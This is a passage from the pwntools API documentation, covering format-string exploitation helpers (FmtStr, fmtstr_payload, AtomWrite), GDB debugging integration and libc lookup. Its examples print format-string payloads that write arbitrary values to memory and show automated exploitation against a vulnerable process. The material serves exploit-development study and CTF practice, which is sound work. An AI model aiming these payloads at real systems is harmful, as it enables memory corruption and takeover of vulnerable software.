        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class pwnlib.fmtstr.**AtomWrite**(*start*, *size*, *integer*, *mask=None*)

This class represents a write action that can be carried out by a single format string specifier.

Each write has an address (start), a size and the integer that should be written.

Additionally writes can have a mask to specify which bits are important. While the write always overwrites all bytes in the range [start, start+size) the mask sometimes allows more efficient execution. For example, assume the current format string counter is at 0xaabb and a write with with integer = 0xaa00 and mask = 0xff00 needs to be executed. In that case, since the lower byte is not covered by the mask, the write can be directly executed with a %hn sequence (so we will write 0xaabb, but that is ok because the mask only requires the upper byte to be correctly written).

__eq__(*other*)
x.__eq__(y) <==> x==y

__hash__() <==> *hash(x)*

__init__(*start*, *size*, *integer*, *mask=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

__ne__(*other*)
x.__ne__(y) <==> x!=y

__repr__() <==> *repr(x)*

compute_padding(*counter*)
This function computes the least amount of padding necessary to execute this write, given the current format string write counter (how many bytes have been written until now).

Examples

```
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0x2345).compute_padding(0x1111))
'0x1234'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00).compute_padding(0xaabb))
'0xff45'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00, 0xff00).compute_
↪padding(0xaabb)) # with mask
'0x0'
```

replace(*start=None*, *size=None*, *integer=None*, *mask=None*)
Return a new write with updated fields (everything that is not None is set to the new value)

union(*other*)
Combine adjacent writes into a single write.

Example

```
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.
↪AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
```

class pwnlib.fmtstr.**FmtStr**(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)
Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter's offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

__init__(*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)
x.__init__(...) initializes x; see help(type(x)) for signature

execute_writes() → None
Makes payload and send it to the vulnerable process

Returns None

write(*addr*, *data*) → None
In order to tell : I want to write `data` at `addr`.

Parameters

- **addr** (*int*) – the address where you want to write
- **data** (*int*) – the data that you want to write `addr`

Returns None

Examples

```
>>> def send_fmt_payload(payload):
...     print(repr(payload))
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
b'%19c%16$hhn%36c%17$hhn%131c%18$hhn%4c%19
↪$hhn\t\x05\x04\x08\x08\x05\x04\x08\x07\x05\x04\x08\x06\x05\x04\x08'
```

__weakref__
list of weak references to the object (if defined)

pwnlib.fmtstr.**find_min_hamming_in_range**(*maxbytes*, *lower*, *upper*, *target*)
Find the value which differs in the least amount of bytes from the target and is in the given range.

Returns a tuple (count, value, mask) where count is the number of equal bytes and mask selects the equal bytes. So mask & target == value & target and lower <= value <= upper.

Parameters

- **maxbytes** (*int*) – bytes above maxbytes (counting from the least significant first) don't need to match
- **lower** (*int*) – lower bound for the returned value, inclusive
- **upper** (*int*) – upper bound, inclusive
- **target** (*int*) – the target value that should be approximated

Examples

```
>>> pp = lambda svm: (svm[0], hex(svm[1]), hex(svm[2]))
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0x0, 0x100, 0xaa))
(1, '0xaa', '0xff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x100, 0xaa))
(0, '0xbb', '0x0')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x200, 0xaa))
(1, '0x1aa', '0xff')
```

(continues on next page)

(continued from previous page)

```
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(2, 0x0, 0x100, 0xaa))
(2, '0xaa', '0xffff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(4, 0x1234, 0x10000, 0x0))
(3, '0x10000', '0xff00ffff')
```

`pwnlib.fmtstr.`**`find_min_hamming_in_range_step`**(*prev, step, carry, strict*)

Compute a single step of the algorithm for find_min_hamming_in_range

Parameters

- **prev** (*dict*) – results from previous iterations
- **step** (*tuple*) – tuple of bounds and target value, (lower, upper, target)
- **carry** (*int*) – carry means allow for overflow of the previous (less significant) byte
- **strict** (*int*) – strict means allow the previous bytes to be bigger than the upper limit (limited to those bytes) in lower = 0x2000, upper = 0x2100, choosing 0x21 for the upper byte is not strict because then the lower bytes have to actually be smaller than or equal to 00 (0x2111 would not be in range)

Returns A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.

Examples

```
>>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF, 0x1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 1)
(0, 0, 0)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0), 0, 1)
(1, 0, 255)
>>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF, 0x00, 0xFF),
↪ 1, 0))
'None'
```

`pwnlib.fmtstr.`**`fmtstr_payload`**(*offset, writes, numbwritten=0, write_size='byte'*) → str

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

The overflows argument is a format-string-length to output-amount tradeoff: Larger values for `overflows` produce shorter format strings that generate more output at runtime.

Parameters

- **offset** (*int*) – the first formatter's offset you control
- **writes** (*dict*) – dict with addr, value `{addr: value, addr2: value2}`
- **numbwritten** (*int*) – number of byte already written by the printf function
- **write_size** (*str*) – must be `byte`, `short` or `int`. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
- **overflows** (*int*) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string

- **strategy** (*str*) – either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes)

Returns The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%47806c%5$lln%22649c%6
↪$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10
↪$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\
↪'
>>> context.clear(arch = 'i386')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%5$na\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15
↪$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size=
↪'short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
```

`pwnlib.fmtstr.`**`fmtstr_split`**(*offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy='small', badbytes=frozenset([])*)

Build a format string like fmtstr_payload but return the string and data separately.

`pwnlib.fmtstr.`**`make_atoms`**(*writes, sz, szmax, numbwritten, overflows, strategy, badbytes*)

Builds an optimized list of atoms for the given format string payload parameters. This function tries to optimize two things:

- use the fewest amount of possible atoms
- sort these atoms such that the amount of padding needed between consecutive elements is small

Together this should produce short format strings.

Parameters

- **writes** (*dict*) – dict with addr, value `{addr: value, addr2: value2}`
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.
- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated (ignored for strategy 'fast')
- **numbwritten** (*int*) – number of byte already written by the printf function
- **overflows** (*int*) – how many extra overflows (of size sz) to tolerate to reduce the length of the format string

- **strategy** (*str*) – either 'fast' or 'small'
- **badbytes** (*str*) – bytes that are not allowed to appear in the payload

pwnlib.fmtstr.**make_atoms_simple**(*address*, *data*, *badbytes=frozenset([])*)

Build format string atoms for writing some data at a given address where some bytes are not allowed to appear in addresses (such as nullbytes).

This function is simple and does not try to minimize the number of atoms. For example, if there are no bad bytes, it simply returns one atom for each byte:

```
>>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
[AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1,␣
↪integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
```

pwnlib.fmtstr.**make_payload_dollar**(*data_offset*, *atoms*, *numbwritten=0*, *countersize=4*)

Makes a format-string payload using glibc's dollar syntax to access the arguments.

Returns A tuple (fmt, data) where `fmt` are the format string instructions and data are the pointers that are accessed by the instructions.

Parameters

- **data_offset** (*int*) – format string argument offset at which the first pointer is located
- **atoms** (*list*) – list of atoms to execute
- **numbwritten** (*int*) – number of byte already written by the printf function
- **countersize** (*int*) – size in bytes of the format string counter (usually 4)

Examples

```
>>> pwnlib.fmtstr.make_payload_dollar(1, [pwnlib.fmtstr.AtomWrite(0x0, 0x1,␣
↪0xff)])
(b'%255c%1$hhn', b'\x00\x00\x00\x00')
```

pwnlib.fmtstr.**merge_atoms_overlapping**(*atoms*, *sz*, *szmax*, *numbwritten*, *overflows*)

Takes a list of atoms and merges consecutive atoms to reduce the number of atoms. For example if you have two atoms `AtomWrite(0, 1, 1)` and `AtomWrite(1, 1, 1)` they can be merged into a single atom `AtomWrite(0, 2, 0x0101)` to produce a short format string.

Parameters

- **atoms** (*list*) – list of atoms to merge
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.
- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated.
- **numbwritten** (*int*) – the value at which the counter starts
- **overflows** (*int*) – how many extra overflows (of size sz) to tolerate to reduce the number of atoms

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 2, 8, 0, 1)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 1)
↪# not merged since it causes an extra overflow of the 1-byte counter
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1,␣
↪integer=0x1, mask=0xff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 1, 0, 2)
↪# not merged due to szmax
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1,␣
↪integer=0x1, mask=0xff)]
```

pwnlib.fmtstr.**merge_atoms_writesize**(*atoms*, *maxsize*)

Merge consecutive atoms based on size.

This function simply merges adjacent atoms as long as the merged atom's size is not larger than `maxsize`.

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_writesize([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1), AtomWrite(2, 1,
↪ 2)], 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff), AtomWrite(start=2,␣
↪size=1, integer=0x2, mask=0xff)]
```

pwnlib.fmtstr.**normalize_writes**(*writes*)

This function converts user-specified writes to a dict `{ address1: data1, address2: data2, ... }` such that all values are raw bytes and consecutive writes are merged to a single key.

Examples

```
>>> context.clear(endian="little", bits=32)
>>> normalize_writes({0x0: [p32(0xdeadbeef)], 0x4: p32(0xf00dface), 0x10:␣
↪0x41414141})
[(0, b'\xef\xbe\xad\xde\xce\xfa\r\xf0'), (16, b'AAAA')]
```

pwnlib.fmtstr.**overlapping_atoms**(*atoms*)

Finds pairs of atoms that write to the same address.

Basic examples:

```
>>> from pwnlib.fmtstr import *
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(2, 10, 1)])) # no␣
↪overlaps
[]
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(1, 2, 1)])) #␣
↪single overlap
[(AtomWrite(start=0, size=2, integer=0x0, mask=0xffff), AtomWrite(start=1,␣
↪size=2, integer=0x1, mask=0xffff))]
```

When there are transitive overlaps, only the largest overlap is returned. For example:

```
>>> list(overlapping_atoms([AtomWrite(0, 3, 0), AtomWrite(1, 4, 1),␣
↪AtomWrite(2, 4, 1)]))
[(AtomWrite(start=0, size=3, integer=0x0, mask=0xffffff), AtomWrite(start=1,␣
↪size=4, integer=0x1, mask=0xffffffff)), (AtomWrite(start=1, size=4,␣
↪integer=0x1, mask=0xffffffff), AtomWrite(start=2, size=4, integer=0x1,␣
↪mask=0xffffffff))]
```

Even though `AtomWrite(0, 3, 0)` and `AtomWrite(2, 4, 1)` overlap as well that overlap is not returned as only the largest overlap is returned.

`pwnlib.fmtstr.`**`sort_atoms`**`(`*atoms*, *numbwritten*`)`

This function sorts atoms such that the amount by which the format string counter has to been increased between consecutive atoms is minimized.

The idea is to reduce the amount of data the the format string has to output to write the desired atoms. For example, directly generating a format string for the atoms `[AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)]` is suboptimal: we'd first need to output 0xff bytes to get the counter to 0xff and then output 0x100+1 bytes to get it to 0xfe again. If we sort the writes first we only need to output 0xfe bytes and then 1 byte to get to 0xff.

Parameters

- **atoms** (*list*) – list of atoms to sort
- **numbwritten** (*int*) – the value at which the counter starts

Examples

```
>>> from pwnlib.fmtstr import *
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0) # the example␣
↪described above
[AtomWrite(start=1, size=1, integer=0xfe, mask=0xff), AtomWrite(start=0, size=1,␣
↪integer=0xff, mask=0xff)]
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0xff) # if we␣
↪start with 0xff it's different
[AtomWrite(start=0, size=1, integer=0xff, mask=0xff), AtomWrite(start=1, size=1,␣
↪integer=0xfe, mask=0xff)]
```

2.19 `pwnlib.gdb` — Working with GDB

During exploit development, it is frequently useful to debug the target binary under GDB.

Pwntools makes this easy-to-do with a handful of helper routines, designed to make your exploit-debug-update cycles much faster.

2.19.1 Useful Functions

- *`attach()`* - Attach to an existing process
- *`debug()`* - Start a new process under a debugger, stopped at the first instruction
- *`debug_shellcode()`* - Build a binary with the provided shellcode, and start it under a debugger

2.19.2 Debugging Tips

The `attach()` and `debug()` functions will likely be your bread and butter for debugging.

Both allow you to provide a script to pass to GDB when it is started, so that it can automatically set your breakpoints.

Attaching to Processes

To attach to an existing process, just use `attach()`. It is surprisingly versatile, and can attach to a `process` for simple binaries, or will automatically find the correct process to attach to for a forking server, if given a `remote` object.

Spawning New Processes

Attaching to processes with `attach()` is useful, but the state the process is in may vary. If you need to attach to a process very early, and debug it from the very first instruction (or even the start of `main`), you instead should use `debug()`.

When you use `debug()`, the return value is a `tube` object that you interact with exactly like normal.

Using GDB Python API

GDB provides Python API, which is documented at https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html. Pwntools allows you to call it right from the exploit, without having to write a gdbscript. This is useful for inspecting program state, e.g. asserting that leaked values are correct, or that certain packets trigger a particular code path or put the heap in a desired state.

Pass `api=True` to `attach()` or `debug()` in order to enable GDB Python API access. Pwntools will then connect to GDB using RPyC library: https://rpyc.readthedocs.io/en/latest/.

At the moment this is an experimental feature with the following limitations:

- Only Python 3 is supported.

  Well, technically that's not quite true. The real limitation is that your GDB's Python interpreter major version should be the same as that of Pwntools. However, most GDBs use Python 3 nowadays.

  Different minor versions are allowed as long as no incompatible values are sent in either direction. See https://rpyc.readthedocs.io/en/latest/install.html#cross-interpreter-compatibility for more information.

  Use

  ```
  $ gdb -batch -ex 'python import sys; print(sys.version)'
  ```

  in order to check your GDB's Python version.

- If your GDB uses a different Python interpreter than Pwntools (for example, because you run Pwntools out of a virtualenv), you should install `rpyc` package into its `sys.path`. Use

  ```
  $ gdb -batch -ex 'python import rpyc'
  ```

  in order to check whether this is necessary.

- Only local processes are supported.

- It is not possible to tell whether `gdb.execute('continue')` will be executed synchronously or asynchronously (in gdbscripts it is always synchronous). Therefore it is recommended to use either the explicitly synchronous *pwnlib.gdb.Gdb.continue_and_wait()* or the explicitly asynchronous *pwnlib.gdb.Gdb.continue_nowait()* instead.

2.19.3 Tips and Troubleshooting

`NOPTRACE` magic argument

It's quite cumbersom to comment and un-comment lines containing *attach*.

You can cause these lines to be a no-op by running your script with the `NOPTRACE` argument appended, or with `PWNLIB_NOPTRACE=1` in the environment.

```
$ python exploit.py NOPTRACE
[+] Starting local process '/bin/bash': Done
[!] Skipping debug attach since context.noptrace==True
...
```

Kernel Yama ptrace_scope

The Linux kernel v3.4 introduced a security mechanism called `ptrace_scope`, which is intended to prevent processes from debugging eachother unless there is a direct parent-child relationship.

This causes some issues with the normal Pwntools workflow, since the process hierarchy looks like this:

```
python ---> target
       `--> gdb
```

Note that `python` is the parent of `target`, not `gdb`.

In order to avoid this being a problem, Pwntools uses the function `prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY)`. This disables Yama for any processes launched by Pwntools via *process* or via *ssh.process()*.

Older versions of Pwntools did not perform the `prctl` step, and required that the Yama security feature was disabled systemwide, which requires `root` access.

Member Documentation

class `pwnlib.gdb.`**`Breakpoint`**(*conn*, **args*, ***kwargs*)

Mirror of `gdb.Breakpoint` class.

See https://sourceware.org/gdb/onlinedocs/gdb/Breakpoints-In-Python.html for more information.

Do not create instances of this class directly.

Use `pwnlib.gdb.Gdb.Breakpoint` instead.

`__getattr__`(*item*)

Return attributes of the real breakpoint.

`__init__`(*conn*, **args*, ***kwargs*)

Do not create instances of this class directly.

Use `pwnlib.gdb.Gdb.Breakpoint` instead.

class pwnlib.gdb.**Gdb**(*conn*)

Mirror of gdb module.

See https://sourceware.org/gdb/onlinedocs/gdb/Basic-Python.html for more information.

Do not create instances of this class directly.

Use *attach()* or *debug()* with api=True instead.

__getattr__(*item*)

Provide access to the attributes of *gdb* module.

__init__(*conn*)

Do not create instances of this class directly.

Use *attach()* or *debug()* with api=True instead.

continue_and_wait()

Continue the program and wait until it stops again.

continue_nowait()

Continue the program. Do not wait until it stops again.

interrupt_and_wait()

Interrupt the program and wait until it stops.

quit()

Terminate GDB.

wait()

Wait until the program stops.

pwnlib.gdb.**_gdbserver_args**(*pid=None*, *path=None*, *args=None*, *which=None*, *env=None*) → list

Sets up a listening gdbserver, to either connect to the specified PID, or launch the specified binary by its full path.

Parameters

- **pid** (*int*) – Process ID to attach to
- **path** (*str*) – Process to launch
- **args** (*list*) – List of arguments to provide on the debugger command line
- **which** (*callaable*) – Function to find the path of a binary.

Returns A list of arguments to invoke gdbserver.

pwnlib.gdb.**attach**(**a*, ***kw*)

Start GDB in a new terminal and attach to *target*.

Parameters

- **target** – The target to attach to.
- **gdbscript** (str or file) – GDB script to run after attaching.
- **exe** (*str*) – The path of the target binary.
- **arch** (*str*) – Architechture of the target binary. If *exe* known GDB will detect the architechture automatically (if it is supported).
- **gdb_args** (*list*) – List of additional arguments to pass to GDB.
- **sysroot** (*str*) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

- **api** (*bool*) – Enable access to GDB Python API.

Returns PID of the GDB process (or the window which it is running in). When `api=True`, a (PID, *Gdb*) tuple.

Notes

The `target` argument is very robust, and can be any of the following:

int PID of a process

str Process name. The youngest process is selected.

tuple Host, port pair of a listening `gdbserver`

process Process to connect to

sock Connected socket. The executable on the other end of the connection is attached to. Can be any socket type, including *listen* or *remote*.

ssh_channel Remote process spawned via *ssh.process()*. This will use the GDB installed on the remote machine. If a password is required to connect, the `sshpass` program must be installed.

Examples

Attach to a process by PID

```
>>> pid = gdb.attach(1234) # doctest: +SKIP
```

Attach to the youngest process by name

```
>>> pid = gdb.attach('bash') # doctest: +SKIP
```

Attach a debugger to a *process* tube and automate interaction

```
>>> io = process('bash')
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from process debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from process debugger!\n'
>>> io.sendline(b'echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
```

Using GDB Python API:

Attach to the remote process from a *remote* or *listen* tube, as long as it is running on the same machine.

```
>>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,
↪nofork'])
>>> sleep(1) # Wait for socat to start
>>> io = remote('127.0.0.1', 12345)
>>> sleep(1) # Wait for process to fork
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from remote debugger!")
```

(continues on next page)

(continued from previous page)

```
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from remote debugger!\n'
>>> io.sendline(b'echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
```

Attach to processes running on a remote machine via an SSH `ssh` process

```
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = shell.process(['cat'])
>>> pid = gdb.attach(io, gdbscript='''
... call sleep(5)
... call puts("Hello from ssh debugger!")
... detach
... quit
... ''')
>>> io.recvline(timeout=5)  # doctest: +SKIP
b'Hello from ssh debugger!\n'
>>> io.sendline(b'This will be echoed back')
>>> io.recvline()
b'This will be echoed back\n'
>>> io.close()
```

`pwnlib.gdb.`**`binary`**`()` → str

Returns *str* – Path to the appropriate `gdb` binary to use.

Example

```
>>> gdb.binary() # doctest: +SKIP
'/usr/bin/gdb'
```

`pwnlib.gdb.`**`corefile`**`(`*process*`)`

Drops a core file for a running local process.

Note: You should use `process.corefile()` instead of using this method directly.

Parameters **`process`** – Process to dump

Returns `Core` – The generated core file

Example

```
>>> io = process('bash')
>>> core = gdb.corefile(io)
>>> core.exe.name # doctest: +ELLIPSIS
'.../bin/bash'
```

`pwnlib.gdb.`**`debug`**`(`**a*, ***kw*`)`

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- **args** (*list*) – Arguments to the process, similar to *process*.
- **gdbscript** (*str*) – GDB script to run.
- **exe** (*str*) – Path to the executable on disk
- **env** (*dict*) – Environment to start the binary in
- **ssh** (*ssh*) – Remote ssh session to use to launch the process.
- **sysroot** (*str*) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.
- **api** (*bool*) – Enable access to GDB Python API.

Returns *process* or *ssh_channel* – A tube connected to the target process. When `api=True`, `gdb` member of the returned object contains a *Gdb* instance.

Notes

The debugger is attached automatically, and you can debug everything from the very beginning. This requires that both `gdb` and `gdbserver` are installed on your machine.

When GDB opens via *debug()*, it will initially be stopped on the very first instruction of the dynamic linker (`ld.so`) for dynamically-linked binaries.

Only the target binary and the linker will be loaded in memory, so you cannot set breakpoints on shared library routines like `malloc` since `libc.so` has not even been loaded yet.

There are several ways to handle this:

1. **Set a breakpoint on the executable's entry point (generally, `_start`)**
   - This is only invoked after all of the required shared libraries are loaded.
   - You can generally get the address via the GDB command `info file`.
2. **Use pending breakpoints via `set breakpoint pending on`**
   - This has the side-effect of setting breakpoints for **every** function which matches the name. For `malloc`, this will generally set a breakpoint in the executable's PLT, in the linker's internal `malloc`, and eventaully in `libc`'s malloc.
3. **Wait for libraries to be loaded with `set stop-on-solib-event 1`**
   - There is no way to stop on any specific library being loaded, and sometimes multiple libraries are loaded and only a single breakpoint is issued.
   - Generally, you just add a few `continue` commands until things are set up the way you want it to be.

Examples

Create a new process, and stop it at 'main'

```
>>> io = gdb.debug('bash', '''
... break main
... continue
... ''')
```

Send a command to Bash

```
>>> io.sendline(b"echo hello")
>>> io.recvline()
b'hello\n'
```

Interact with the process

```
>>> io.interactive() # doctest: +SKIP
>>> io.close()
```

Create a new process, and stop it at '_start'

```
>>> io = gdb.debug('bash', '''
... # Wait until we hit the main executable's entry point
... break _start
... continue
...
... # Now set breakpoint on shared library routines
... break malloc
... break free
... continue
... ''')
```

Send a command to Bash

```
>>> io.sendline(b"echo hello")
>>> io.recvline()
b'hello\n'
```

Interact with the process

```
>>> io.interactive() # doctest: +SKIP
>>> io.close()
```

Using GDB Python API:

Using SSH:

You can use `debug()` to spawn new processes on remote machines as well, by using the `ssh=` keyword to pass in your `ssh` instance.

Connect to the SSH server and start a process on the server

```
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = gdb.debug(['whoami'],
...                 ssh = shell,
...                 gdbscript = '''
... break main
... continue
... ''')
```

Send a command to Bash

```
>>> io.sendline(b"echo hello")
```

Interact with the process >>> io.interactive() # doctest: +SKIP >>> io.close()

`pwnlib.gdb.debug_assembly`(*asm*, *gdbscript=None*, *vma=None*, *api=False*) → tube
Creates an ELF file, and launches it under a debugger.

This is identical to debug_shellcode, except that any defined symbols are available in GDB, and it saves you the explicit call to asm().

Parameters

- **asm** (*str*) – Assembly code to debug
- **gdbscript** (*str*) – Script to run in GDB
- **vma** (*int*) – Base address to load the shellcode at
- **api** (*bool*) – Enable access to GDB Python API
- ****kwargs** – Override any *pwnlib.context.context* values.

Returns *process*

Example:

```
>>> assembly = shellcraft.echo("Hello world!\n")
>>> io = gdb.debug_assembly(assembly)
>>> io.recvline()
b'Hello world!\n'
```

pwnlib.gdb.**debug_shellcode**(*data*, *gdbscript=None*, *vma=None*, *api=False*) → tube

Creates an ELF file, and launches it under a debugger.

Parameters

- **data** (*str*) – Assembled shellcode bytes
- **gdbscript** (*str*) – Script to run in GDB
- **vma** (*int*) – Base address to load the shellcode at
- **api** (*bool*) – Enable access to GDB Python API
- ****kwargs** – Override any *pwnlib.context.context* values.

Returns *process*

Example:

```
>>> assembly = shellcraft.echo("Hello world!\n")
>>> shellcode = asm(assembly)
>>> io = gdb.debug_shellcode(shellcode)
>>> io.recvline()
b'Hello world!\n'
```

pwnlib.gdb.**find_module_addresses**(*binary*, *ssh=None*, *ulimit=False*)

Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have procfs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From        To          Syms Read   Shared Object Library
```

(continues on next page)

(continued from previous page)

```
0xf7fdc820  0xf7ff505f  Yes (*)     /lib/ld-linux.so.2
0xf7fbb650  0xf7fc79f8  Yes         /lib32/libpthread.so.0
0xf7e26f10  0xf7f5b51c  Yes (*)     /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1. Downloading the binaries from the remote server
2. Scraping GDB for the information
3. Loading each library into an ELF
4. Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (*str*) – Path to the binary on the remote server
- **ssh** (*pwnlib.tubes.tube*) – SSH connection through which to load the libraries. If left as `None`, will use a *pwnlib.tubes.process.process*.
- **ulimit** (*bool*) – Set to `True` to run "ulimit -s unlimited" before GDB.

Returns A list of pwnlib.elf.ELF objects, with correct base addresses.

Example:

```
>>> with context.local(log_level=9999):
...     shell =  ssh(host='example.pwnme', user='travis', password='demopass')
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
>>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP
'0x7ffff7634660'
```

`pwnlib.gdb.`**`version`**(*program='gdb'*)

Gets the current GDB version.

Note: Requires that GDB version meets the following format:

`GNU gdb (GDB) 7.12`

Returns *tuple* – A tuple containing the version numbers

Example

```
>>> (7,0) <= gdb.version() <= (12,0)
True
```

2.20 pwnlib.libcdb — Libc Database

Fetch a LIBC binary based on some heuristics.

pwnlib.libcdb.**get_build_id_offsets**()

Returns a list of file offsets where the Build ID should reside within an ELF file of the currently selected architecture.

pwnlib.libcdb.**search_by_build_id**(*hex_encoded_id*, *unstrip=True*)

Given a hex-encoded Build ID, attempt to download a matching libc from libcdb.

Parameters

- **hex_encoded_id** (*str*) – Hex-encoded Build ID (e.g. 'ABCDEF...') of the library
- **unstrip** (*bool*) – Try to fetch debug info for the libc and apply it to the downloaded file.

Returns Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_build_id('fe136e485814fee2268cf19e5c124ed0f73f4400')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
